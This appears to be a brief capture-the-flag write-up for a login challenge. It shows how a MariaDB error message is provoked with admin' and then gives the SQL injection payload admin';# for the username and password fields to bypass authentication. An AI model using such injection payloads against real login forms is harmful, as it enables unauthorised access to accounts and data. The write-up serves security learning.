A classic, with a twist.

Here if we put admin' as input in the username and password field we get this error:

Error description: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'" at line 1

A classic, with a twist.

We now know that the server is using MariaDB. To make comments in MariaDB we can use #.

```
Username: admin';#  
Password: admin';#
```
